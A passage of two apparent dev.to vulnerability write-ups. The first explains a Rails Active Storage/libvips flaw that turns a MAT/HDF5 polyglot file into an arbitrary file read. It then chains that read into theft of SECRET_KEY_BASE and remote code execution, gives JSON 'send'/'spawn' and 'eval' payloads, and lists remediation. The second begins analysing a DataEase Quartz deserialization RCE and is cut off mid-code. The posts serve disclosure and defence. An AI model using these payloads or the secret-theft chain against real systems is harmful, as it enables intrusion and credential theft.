&lt;p&gt;Build a single file where the front says &lt;code&gt;"MATLAB 5.0"&lt;/code&gt; and bytes 124–125 say &lt;code&gt;0x0200&lt;/code&gt;, and you satisfy libvips's gate while still landing in libmatio's HDF5 parser. This works because HDF5 explicitly reserves up to a &lt;strong&gt;512-byte "userblock"&lt;/strong&gt; at the start of the file for exactly this kind of prefix data. The attacker plants a fake MAT 5.0 header text in that userblock, then appends a real HDF5 superblock right after it.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. HDF5 External Storage as an arbitrary-file-read primitive
&lt;/h2&gt;

&lt;p&gt;MAT 7.3 files are HDF5 containers. HDF5 datasets support &lt;strong&gt;External Storage&lt;/strong&gt; — a legitimate, spec-compliant feature where a dataset's actual values live in a separate file, at a &lt;strong&gt;caller-specified path and offset&lt;/strong&gt;, rather than inside the container itself. Nothing wrong with the feature in isolation; the problem is that here, the attacker fully controls the dataset definition, and therefore controls which file and offset get read.&lt;/p&gt;

&lt;p&gt;libmatio's actual HDF5 read call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt;
&lt;span class="nf"&gt;Mat_H5ReadData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hid_t&lt;/span&gt; &lt;span class="n"&gt;dset_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hid_t&lt;/span&gt; &lt;span class="n"&gt;h5_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hid_t&lt;/span&gt; &lt;span class="n"&gt;mem_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hid_t&lt;/span&gt; &lt;span class="n"&gt;dset_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
               &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;isComplex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;herr_t&lt;/span&gt; &lt;span class="n"&gt;herr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isComplex&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;herr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;H5Dread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dset_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h5_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mem_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dset_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;H5P_DEFAULT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// [19]&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;herr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;MATIO_E_GENERIC_READ_ERROR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's no &lt;code&gt;H5Pget_external_count()&lt;/code&gt; check before &lt;code&gt;[19]&lt;/code&gt; — nothing verifies whether this dataset is even supposed to reference external storage before HDF5 goes and reads it. The runtime resolves the external reference and copies bytes straight from the attacker-chosen file into the MAT variable's data buffer. libvips then treats that buffer as pixel data, encodes it as PNG (or whatever format was requested), and Active Storage serves it back as a normal representation.&lt;/p&gt;

&lt;p&gt;End to end: &lt;strong&gt;arbitrary file on disk → pixel values → PNG → HTTP response.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  You don't need a variant request to trigger this
&lt;/h3&gt;

&lt;p&gt;The advisory is explicit that generating variants isn't a separate requirement, and it's worth internalizing why. Active Storage also calls &lt;code&gt;Vips::Image.new_from_file&lt;/code&gt; during &lt;strong&gt;image analysis&lt;/strong&gt;, which runs automatically after a blob is attached — no variant request needed. In that path, libmatio ends up reading external bytes while computing the dimensions of an empty array, and those bytes can surface as the reported &lt;strong&gt;width/height metadata&lt;/strong&gt; instead of pixel values. Lower bandwidth per request, but it breaks the assumption that "if we never render a variant, we're safe."&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Why the patch actually works
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;v8.0.5&lt;/code&gt; → &lt;code&gt;v8.0.5.1&lt;/code&gt; diff doesn't add a content-type check. It loads a new initializer that flips a switch libvips already exposed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gh"&gt;diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
&lt;/span&gt;&lt;span class="gi"&gt;+require "active_storage/vips"
&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gh"&gt;diff --git a/activestorage/lib/active_storage/vips.rb (new file)
&lt;/span&gt;&lt;span class="gi"&gt;+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    require "image_processing/vips"
+  rescue LoadError
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # [20]
+    raise &amp;lt;&amp;lt;~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # [21]
+end
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[20]&lt;/code&gt; makes the app &lt;strong&gt;refuse to boot&lt;/strong&gt; if the installed &lt;code&gt;ruby-vips&lt;/code&gt;/&lt;code&gt;libvips&lt;/code&gt; pair doesn't support the blocking API — no silent fallback to the vulnerable behavior. &lt;code&gt;[21]&lt;/code&gt; blocks every operation libvips itself has flagged &lt;code&gt;VIPS_OPERATION_UNTRUSTED&lt;/code&gt;, globally, at boot. Since &lt;code&gt;matload&lt;/code&gt; already carried that flag, this single call closes the path before a crafted file ever reaches libmatio.&lt;/p&gt;

&lt;p&gt;The fix isn't "check the content harder." It's "stop leaving a loader enabled that upstream already told you not to trust with untrusted input."&lt;/p&gt;




&lt;h2&gt;
  
  
  7. From file read to RCE: abusing &lt;code&gt;send&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Arbitrary file read alone is enough to pull &lt;code&gt;SECRET_KEY_BASE&lt;/code&gt; out of &lt;code&gt;/proc/self/environ&lt;/code&gt;. Once an attacker has that, they can derive the Active Storage verifier key and &lt;strong&gt;sign brand-new variations&lt;/strong&gt; instead of just replaying stolen ones — meaning they can now request arbitrary transformations, not just the ones already exposed in the app.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;image_processing&lt;/code&gt; 1.14.0's &lt;code&gt;Chainable#apply&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;operations&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;operations&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kp"&gt;nil&lt;/span&gt;
      &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;public_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;elsif&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_a?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;public_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# [22]&lt;/span&gt;
    &lt;span class="k"&gt;elsif&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;is_a?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;Hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;public_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
      &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;public_send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;[22]&lt;/code&gt;: the transformation's &lt;code&gt;name&lt;/code&gt; is passed directly into &lt;code&gt;public_send&lt;/code&gt;. If &lt;code&gt;name&lt;/code&gt; is &lt;code&gt;"send"&lt;/code&gt;, the first element of the array becomes a &lt;em&gt;second-order&lt;/em&gt; method call — reaching private methods like &lt;code&gt;Kernel#spawn&lt;/code&gt; or &lt;code&gt;Kernel#eval&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;These JSON-compatible shapes are enough for code execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"send"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"spawn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"-c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"send"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"eval"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"File.write('/tmp/kr2s', %x{id})"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The asymmetry worth noting: &lt;code&gt;:mini_magick&lt;/code&gt; transformations go through &lt;code&gt;validate_transformation&lt;/code&gt;, which checks method names. &lt;strong&gt;&lt;code&gt;:vips&lt;/code&gt; transformations don't get the same check.&lt;/strong&gt; That specific gap is tracked separately in Rails PR &lt;code&gt;rails/rails#56995&lt;/code&gt; — it's a distinct bug from the MAT/HDF5 header confusion, but chained together they turn "file read" into "read secrets → forge signature → RCE" as one continuous path. Execution happens while the processing pipeline is still being built, so even if the final HTTP response comes back as a 500, the command has already run.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Full attack chain
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhwbxedl3lcgfgojcn4fq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhwbxedl3lcgfgojcn4fq.png" alt=" " width="800" height="1219"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As a plain-text summary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Attacker] --(1) Creates a direct-upload blob with content_type=image/png--&amp;gt;
[Rails: stores content_type only, no byte inspection] --(2) Replays a legit variation_key from another blob--&amp;gt;
[Rails: blob ID / variation_key verified independently, no cross-check] --(3) Triggers a representation--&amp;gt;
[image_processing: no loader specified, calls Vips.new_from_file] --(4) libvips checks only the first 10 bytes--&amp;gt;
[libvips: "MATLAB 5.0" prefix matches -&amp;gt; selects matload] --(5) libmatio checks bytes 124-125--&amp;gt;
[libmatio: MAT_FT_MAT73 (0x0200) -&amp;gt; dispatches to HDF5 reader] --(6) resolves external dataset path+offset--&amp;gt;
[HDF5: reads attacker-chosen file via External Storage] --(7) rendered as pixel data--&amp;gt;
[Returned to client as a normal PNG representation]
   |
   +--(8) Attacker extracts secret_key_base from leaked file--&amp;gt;
[Attacker derives the Active Storage verifier key] --(9) Signs {"send":["spawn",...]}--&amp;gt;
[image_processing Chainable#apply: public_send(name, *args)] --(10)--&amp;gt; [Kernel#spawn / Kernel#eval = RCE]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/kJAnQobZE_8"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade Active Storage to &lt;strong&gt;7.2.3.2 / 8.0.5.1 / 8.1.3.1&lt;/strong&gt; or later.&lt;/li&gt;
&lt;li&gt;You need &lt;strong&gt;libvips ≥ 8.13&lt;/strong&gt; and &lt;strong&gt;ruby-vips ≥ 2.2.1&lt;/strong&gt; alongside the patch — without them, &lt;code&gt;Vips.block_untrusted(true)&lt;/code&gt; isn't available and the patched Active Storage will refuse to boot rather than run unprotected.&lt;/li&gt;
&lt;li&gt;Rails 7.1 and earlier, and 6.x, have no official backport — a major version upgrade is the only vendor-supported fix. If that's not immediately feasible, mitigate with WAF rules or a backported patch in the meantime.&lt;/li&gt;
&lt;li&gt;Rotate &lt;code&gt;secret_key_base&lt;/code&gt;, &lt;code&gt;RAILS_MASTER_KEY&lt;/code&gt;, and any service credentials the app process could read, regardless of when you patch — the read itself could already have happened before you upgraded.&lt;/li&gt;
&lt;li&gt;Apps using &lt;code&gt;MiniMagick&lt;/code&gt; instead of &lt;code&gt;:vips&lt;/code&gt; as the variant processor aren't exposed to this specific attack path.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cve</category>
      <category>rce</category>
      <category>ubuntu</category>
      <category>bash</category>
    </item>
    <item>
      <title>CVE-2026-40901: DataEase Root RCE via Unfiltered Quartz Deserialization</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 19 Aug 2026 06:54:11 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-40901-dataease-root-rce-via-unfiltered-quartz-deserialization-ch4</link>
      <guid>https://dev.to/guidance_white/cve-2026-40901-dataease-root-rce-via-unfiltered-quartz-deserialization-ch4</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7rci9j80uxyoa1fxnp2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7rci9j80uxyoa1fxnp2o.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Overview
&lt;/h2&gt;

&lt;p&gt;DataEase is an open-source BI (business intelligence) and data visualization platform maintained by FIT2CLOUD, with over 23K stars on GitHub. CVE-2026-40901 lives in how DataEase's bundled &lt;strong&gt;Quartz scheduler deserializes job data&lt;/strong&gt;: there's no filter whatsoever on the &lt;code&gt;ObjectInputStream&lt;/code&gt; that reads it back, so an attacker-controlled serialized payload gets executed as-is — resulting in &lt;strong&gt;root-level remote command execution inside the container&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;On its own this is already severe, but it's actually the final link in a 4-vulnerability chain disclosed by the OX Security research team.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;CVE-2026-23958&lt;/td&gt;
&lt;td&gt;DataEase authentication bypass (disclosed at RSAC 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;CVE-2026-40899&lt;/td&gt;
&lt;td&gt;Lombok &lt;code&gt;@Data&lt;/code&gt; auto-generated setter bypasses the JDBC parameter blocklist → arbitrary file read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;CVE-2026-40900&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;previewSql&lt;/code&gt; subquery escape + &lt;code&gt;allowMultiQueries&lt;/code&gt; → stacked-query SQL injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CVE-2026-40901&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Quartz job data deserialization → &lt;strong&gt;root RCE&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This post focuses on stage 3, CVE-2026-40901 itself — specifically, how a deserialization bug turns into full RCE, walked through at the source code level.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Why Quartz Becomes the Attack Surface
&lt;/h2&gt;

&lt;p&gt;Quartz is a widely-used Java job scheduling library. It manages job definitions (what to run) and triggers (when to run it). DataEase configures it with a &lt;strong&gt;JDBC JobStore&lt;/strong&gt;, meaning job state lives in a database table instead of memory.&lt;/p&gt;

&lt;p&gt;That table is &lt;code&gt;qrtz_job_details&lt;/code&gt;, and one column in particular matters here: &lt;code&gt;JOB_DATA&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- qrtz_job_details table (relevant columns only)&lt;/span&gt;
&lt;span class="n"&gt;SCHED_NAME&lt;/span&gt;     &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- scheduler instance name&lt;/span&gt;
&lt;span class="n"&gt;JOB_NAME&lt;/span&gt;       &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- job name (e.g. check_status)&lt;/span&gt;
&lt;span class="n"&gt;JOB_GROUP&lt;/span&gt;      &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;-- job group (e.g. Datasource)&lt;/span&gt;
&lt;span class="n"&gt;JOB_CLASS_NAME&lt;/span&gt; &lt;span class="nb"&gt;VARCHAR&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;250&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;JOB_DATA&lt;/span&gt;       &lt;span class="nb"&gt;BLOB&lt;/span&gt;          &lt;span class="c1"&gt;-- ★ a serialized Java object lives here&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;JOB_DATA&lt;/code&gt; holds a &lt;code&gt;JobDataMap&lt;/code&gt; object, serialized via &lt;code&gt;ObjectOutputStream&lt;/code&gt; into raw bytes. Every time Quartz fires a job, it pulls this BLOB back out and &lt;strong&gt;deserializes it with &lt;code&gt;ObjectInputStream&lt;/code&gt;&lt;/strong&gt;. That's the crux of the vulnerability.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The Deserialization Call Path
&lt;/h2&gt;

&lt;p&gt;DataEase bundles Quartz 2.3.2. The actual call chain looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JobStoreSupport.retrieveJob(SchedulingContext, JobKey)
    └── StdJDBCDelegate.selectJobDetail(Connection, JobKey, ClassLoadHelper)
            └── getJobDataFromBlob(ResultSet, colName)
                    └── getObjectFromBlob(ResultSet, colName)   // ← the actual deserialization point
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last method, &lt;code&gt;getObjectFromBlob()&lt;/code&gt;, is where the problem is fully exposed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// org.quartz.impl.jdbcjobstore.StdJDBCDelegate&lt;/span&gt;
&lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="nf"&gt;getObjectFromBlob&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;colName&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;ClassNotFoundException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nc"&gt;Blob&lt;/span&gt; &lt;span class="n"&gt;blobLocator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBlob&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;colName&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blobLocator&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;binaryInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blobLocator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBinaryStream&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binaryInput&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;binaryInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;available&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;ObjectInputStream&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ObjectInputStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binaryInput&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readObject&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;   &lt;span class="c1"&gt;// ★ deserializes whatever class is on the wire&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
